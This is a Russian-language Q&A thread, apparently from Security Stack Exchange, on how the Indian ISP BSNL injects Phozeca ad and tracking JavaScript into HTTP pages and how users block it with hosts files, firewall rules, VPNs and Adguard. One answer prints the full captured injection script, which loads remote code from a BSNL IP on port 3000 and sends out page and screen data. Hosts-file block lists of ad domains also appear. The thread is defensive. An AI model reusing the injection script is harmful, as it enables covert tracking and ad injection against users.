Мой интернет-провайдер (BSNL India) вставляет рекламу с помощью Phozeca, из-за чего сайты портятся и становятся неотзывчивыми. Можно ли что-то с этим сделать?

Недавно у меня возникла проблема, когда мой интернет-провайдер (BSNL Индия) вставлял рекламные объявления/странные Javascript-трекинг-коды в мой браузер, из-за чего сайт становился непригодным для использования и неотзывчивым.

Я уверен, что это мой провайдер, потому что домен начинается с “bsnl.phozeca.com” и использует порт “3000”.

Обратите внимание на следующие моменты:

• Инъекция скриптов работает только на несекурных HTTPS-сайтах, таких как Steam Store и другие несекурные сайты.
• Внедренный код использует порт 3000.
• Сайты, которые не работают должным образом, как правило, функционируют, когда CSP (Политика Безопасности Контента) отключена в браузере.
• Сайты, которые не работают должным образом, работают правильно на Tor Browser.
• Я лично исследовал эту проблему и, прочитав код (читайте мою статью, чтобы узнать, о чем я говорю), вызвал функцию “loadnewads()” из этого кода, и как только она вызвана, появляются странные объявления, такие как фальшивые объявления Flash Player и фальшивые кнопки скачивания.

-Что я пробовал, чтобы решить эту проблему.-

1. Проверка файла hosts и блокировка домена: не сработало. Скрипт все еще внедряется.
2. Сканирование ПК на наличие вредоносных программ: не сработало. Я просканировал с помощью более трех антивирусов, включая Malwarebytes, но ничего не обнаружил.
3. Отключение CSP (Политики Безопасности Контента): сработало! Однако реклама автоматически начинает воспроизводиться.
4. Смена DNS на Google DNS: не сработало.

Есть ли способ решить эту проблему? Пожалуйста, помогите.
Спасибо!

У меня были похожие проблемы. У меня есть простой способ, но это временное решение, однако оно работает для меня и остановило отслеживание и выталкивание всплывающей рекламы вредоносного ПО от провайдера BSNL. Я добавил запись в hosts на своем компьютере для bsnl.phozeca.com и направил ее на localhost.

Похоже, что вредоносное ПО эволюционировало.

Теперь оно использует IP и внедряется в js файлы ‘http’ сайтов (использовал прокси для анализа).

Например, в случае bbc.co.uk, когда браузер запросил следующий URL :

http://static.bbc.co.uk/id/0.37.24/modules/idcta/statusbar.js

вместо следующего скрипта (оригинал):

define(["idcta/idCookie","idcta/id-config","idcta/apiUtils"],function(d,c,h){var b={};function e(j){try{this.id=null;this.element=null;this.ctaLink=null;this.ctaName=null;if(f(j)){this.id=j.id;this.element=document.getElementById(j.id);if(!j.blq){this.ctaLink=document.getElementById("idcta-link");this.ctaName=this.element.getElementsByTagName("span")[0]}else{this.ctaLink=document.getElementById(j["link-id"])?document.getElementById(j["link-id"]):this.element.getElementsByTagName("a")[0];this.ctaName=j["name-id"]?document.getElementById(j["name-id"]):this.element.getElementsByTagName("span")[1]}var i=this;if(j.publiclyCacheable===true){if(d.getInstance().hasCookie()){if(c.status_url&&i.ctaLink.href!==c.status_url){i.ctaLink.href=c.status_url}a(i,d.getInstance())}else{if(c.signin_url){i.ctaLink.href=c.signin_url}i.ctaName.innerHTML=c.translation_signedout}}}}catch(k){h.logCaughtError(k)}}function a(m,k){try{var j=k.getNameFromCookie()||c.translation_signedin;var i=c.translation_signedin;if(j){i=g(j,14)}m.element.className=m.element.className+" idcta-signedin";m.ctaName.innerHTML=i}catch(l){h.logCaughtError(l)}}function g(j,i){if(j.length>i){return j.substring(0,i-1)+"…"}return j}function f(i){if(!document.getElementById(i.id)){return false}if(!i.blq&&!document.getElementById("idcta-link")){return false}if(i.blq&&!document.getElementById(i["link-id"])){return false}return true}b.Statusbar=e;b.updateForAuthorisedState=a;return b});

вредоносное ПО (на стороне провайдера?) вставило следующий вредоносный скрипт:

!function(){var a="/id/0.37.24/modules/idcta/statusbar.js",r=null,e=document.getElementsByTagName("script"),i=e.length,n=null,t=Date.now(),s=null,o=0;for("https://security.stackexchange.com/"===a.substring(0,1)&&(a=a.substring(1)),o=0;o<i;o+=1)
if(void 0!==e[o].src&&null!==e[o].src&&e[o].src.indexOf(a)>-1){n=o,r=e[o];break}
void 0!==r&&null!==r||(r=document.getElementsByTagName("script")[0]),s=r.src.indexOf("?")>-1?r.src+"&cb="+t.toString()+"&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag":r.src+"?cb="+t.toString()+"&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";try{if(void 0===window.sarazasarazaNoti||null===window.sarazasarazaNoti||window.sarazasarazaNoti===Array&&window.sarazasarazaNoti.indexOf(r.src)<0){void 0!==window.sarazasarazaNoti&&null!==window.sarazasarazaNoti||(window.sarazasarazaNoti=new Array),window.sarazasarazaNoti.push(r.src);var c=r.parentNode,d=r;if(r.async||r.defer||null!==n&&n!==e.length-1){var w=document.createElement("script");w.src=s,c.replaceChild(w,d)}else document.write("<script type="text/javascript" src="https://security.stackexchange.com/questions/157828/+s+"><\/script>"),c.removeChild(d)}
var a1="117.254.84.212";var a2="3000";if(window===window.top&&(void 0===window.sarazasaraza||null===window.sarazasaraza||!window.sarazasaraza)){window.sarazasaraza=!0;var l=a1+":"+a2+"/getjs?nadipdata="+JSON.stringify("%7B%22url%22:%22%2Fid%2F0.37.24%2Fmodules%2Fidcta%2Fstatusbar.js%22%2C%22referer%22:%22http:%2F%2Fwww.bbc.com%2F%22%2C%22host%22:%22static.bbc.co.uk%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D")+"&screenheight="+screen.height+"&screenwidth="+screen.width+"&tm="+(new Date).getTime()+"&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0";!function(a,r,e,i,n,t,s){t=r.createElement(e),s=r.getElementsByTagName(e)[0],t.async=!0,t.src=i,s.parentNode.insertBefore(t,s)}(window,document,"script","//"+l)}
var imgtag=document.createElement('img');imgtag.height="1";imgtag.width="1";imgtag.style="border-style:none;";imgtag.alt="";imgtag.src="https://"+a1+":"+a2+"/pixel/1x1.png"}catch(a){}}()

Решение, которое сработало, заключалось в добавлении правила в брандмауэр, чтобы заблокировать порт 3000 по диапазону bsnl
: 117.192.0.0 117.255.255.255 (на основе информации ultra-dns).

Я сделал это как на уровне системы, так и на уровне ADSL-роутера (так как мобильные устройства, использующие сеть, также подвержены воздействию).

Надеюсь, это минимизирует конфликты с другими приложениями, использующими порт 3000.

Для Windows видео о блокировке порта можно найти здесь:
https://www.youtube.com/watch?v=KA8BIshUcXw

Обновление 17 ноября 2019 – Периодически получаю следующее изображение () на http-ссылках при запуске браузера после периода неактивности.

Обновление 28 ноября 2018 :
Рад (и вздохнул с облегчением) сообщить, что проблема была решена после регистрации жалобы на ‘https://pgportal.gov.in‘ и последующего обращения команды BSNL BB-NOC и добавления пользовательского идентификатора (соответствующего услуге) в DND (это может занять день или два для отражения изменений). Жалоба на портале была примерно месяц назад, когда они ответили – хотя возможно, что они пытались связаться, но не смогли до них добраться.

Примечание : Регистрация стандартной жалобы о соединении не сработала. Команда BSNL закрыла тикет, сказав, что интернет работает (хотя и указала, что реклама была по замыслу).

Сначала постарайтесь договориться с вашим интернет-провайдером, чтобы он перестал это делать (если это возможно)

Как вы упомянули, HTTPS не может быть скомпрометирован, что и должно быть, поэтому старайтесь использовать HTTPS, где это возможно.

Что касается ваших следующих попыток

1) Проверка файла hosts и блокировка домена: не сработало. Скрипт все еще внедряется.

Должно сработать, если нет, значит вы делаете это неправильно. Другой способ – заблокировать то же самое с помощью вашего модема или маршрутизатора путем блокировки домена/IP (или брандмауэра)

Если ваш провайдер достаточно умен, он должен размещать скрипты с изменяющимися доменными именами, так что заблокировать все будет сложно.

2) Сканирование ПК на наличие вредоносного ПО

Это, конечно, не сработает

3) Отключение CSP (Политики Безопасности Контента)

Не имею понятия, что это, но поскольку HTTP не имеет никакой безопасности, эту CSP можно обмануть или не могут сказать, что контент не разрешен (какая логика?)

4) Смена DNS на DNS Google

Это тоже не сработает, проблема в том, что вы имеете дело с post dns. даже если ваш провайдер заменит результат разрешения домена, все равно просто вставить рекламу в http.

100% работающие решения
Используйте VPN или sTunnel, который связывается с сервисами, такими как squid на заднем плане. Это может не сработать, если ваш провайдер найдет ваше соединение с целевым IP (либо VPN, либо sTunnel) в качестве своей анти-рекламной политики.

50% работающие решения
Блокируйте все содержимое с помощью вашего плагина adblock (или чего-то другого).

Как предложил Притам – добавляя больше деталей.

1. Я скачал файл hosts с http://winhelp2002.mvps.org/hosts.zip
   Заменил его в этом расположении C:\Windows\System32\drivers\etc

2. Если вы не знаете, как заменить файл hosts, то можете следовать этой инструкции
   http://winhelp2002.mvps.org/hostswin8.htm

3. Чтобы избавиться от всплывающего окна от engine.spotscenered.info/link.engine?guid=
   Я добавил следующие записи в файл hosts:

   0.0.0.0 www.onclickmax.com
   0.0.0.0 bsnl.phozeca.com
   0.0.0.0 *.onclickmax.com
   0.0.0.0 phozeca.com
   0.0.0.0 c.phozeca.com

Я не вижу никаких всплывающих объявлений… пропали!

Я уже писал об этом раньше на форумах India Broadband. Вам необходимо заблокировать 3 сайта через URL-фильтр или блокировку hosts:
mutualvehemence.com
bsnl.phozeca.com:3000 (или c.phozeca.com:3000)
decademical.com

WHOIS второго сайта, и вы поймете, что BSNL сам вставляет эту рекламу. Зарегистрированный адрес сервера указывает на NS Cell, BSNL и т. д.. Так что головной офис BSNL несет за это ответственность. (NS, вероятно, означает сетевое наблюдение). Будут выпущены еще такие сайты для инъекции JS, поскольку второй сайт ранее не использовался для инъекций.

Простое решение:
Посетите любой http-сайт и кликните правой кнопкой мыши где угодно на странице. Затем выберите “Проверить элемент” и щелкните на вкладку “Источники” и посмотрите все источники. Один из них будет иметь запутанный JS-файл (если не заблокирован), который является причиной всплывающих объявлений. Заблокируйте этот URL.

Метод кликджекинга работает только из подключения BSNL Broadband, а не из сети BSNL SIM. Даже если скрипт загружается, он не перемещается на другие сайты.

Серверы BSNL ежедневно повреждаются или заражаются вредоносным ПО / вирусами из-за плохой безопасности.

Недавно http://www.memo.tv перенаправлял на http://xalabazar.com, изменилось на http://preskalyn.com.

Нашел скрипт по URL : Будьте внимательны перед тем, как кликнуть по этой ссылке

Расшифрованный URL:

http://117.254.84.212:3000/getjs?nadipdata="{"url":"/wpmemo/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp","referer":"http://www.memo.tv/works/","host":"www.memo.tv","categories":[0],"reputations":[1],"nadipdomain":1}"&screenheight=1080&screenwidth=1920&tm=1558777463790&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0

Здесь скрипт внедряется в /wpmemo/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp, вы можете найти маршруты getjs() через метод загрузки из Node.js ссылка getjs, получая наш IP-адрес от BSNL SIM / любого другого провайдера.

так как это приведет к передаче всей вашей информации о браузинге на этот IP 117.254.84.212.

Существовал naganoadigei.com, зарегистрированный специально для распространения вредоносного ПО и перенаправления пользователей на фишинговые сайты.

Недавно, в феврале 2019 года, они решили эту проблему. Но, к сожалению, обнаружен новый тип
ад-зависимых перенаправлений под названием humparsi.com, который был устранен в марте 2019 года.

В качестве альтернативы вы можете заблокировать исходящий запрос на своем отдельном компьютере в записи DNS.

Перейдите к %windir%\System32\drivers\etc и отредактируйте файл hosts в повышенном режиме / с правами администратора и добавьте эти строки в ваш hosts файл:

0.0.0.0 preskalyn.com
0.0.0.0 xalabazar.com
0.0.0.0 humparsi.com
0.0.0.0 naganoadigei.com
0.0.0.0 cobalten.com
0.0.0.0 rateus.co.in
0.0.0.0 go.oclasrv.com
0.0.0.0 onclickmax.com
0.0.0.0 bsnl.phozeca.com
0.0.0.0 phozeca.com
0.0.0.0 c.phozeca.com

Указанные сайты не защищены с помощью SSL.

Чтобы заблокировать специфический IP-адрес, сделайте это, заблокировав исходящие соединения в брандмауэре.

Чтобы снизить воздействие или любые нежелательные побочные эффекты, вы можете блокировать JavaScript, установив дополнительные модули, такие как NoScript или ScriptSafe и HTTPS Everywhere.

Чтобы узнать, какое приложение использует IP-адрес с назначенным номером порта:

C:\Windows\system32>netstat -anob

Этот ответ может устареть, так как скрипт может быть удален BSNL.

Скрипт собирает ваш IP-адрес и идентификатор абонента тоже: откройте эту ссылка, чтобы проверить ваш идентификатор абонента и IP-адрес.

Поскольку BSNL не реагировала на жалобы пользователей по поводу инъекции рекламы по протоколу HTTP, я предложил локальное решение (с помощью Adguard)

Справка: GitHub

Что это сделает?

• Уберет Click-jacking рекламу на HTTP сайтах

На каких устройствах это будет работать?

• Все браузеры, имеющие Adguard Расширение (или имеющее uBlock Origin с фильтром Adguard)
• Adguard для Android
• Adguard для iOS
• Adguard для Mac
• Adguard для Windows

Что он не сделает?

• Он не может остановить BSNL от записи вашего визита на конкретный HTTP сайт в отдельной записи.
• Он не может остановить перенаправляющие скрипты при истечении FUP/предложения от Phozeca SDK (хотя в настоящее время он отключен)

Обновление: Новая коммита: Ссылка на GitHub

Самое простое решение может быть в использовании браузера Opera и его встроенного сервиса “VPN”. Это не полноценный VPN, но он будет использовать безопасное HTTPS-соединение с одним из прокси-серверов Opera. Даже если Steam отправляет свои страницы небезопасно в Opera, доставка по сети BSNL будет безопасной.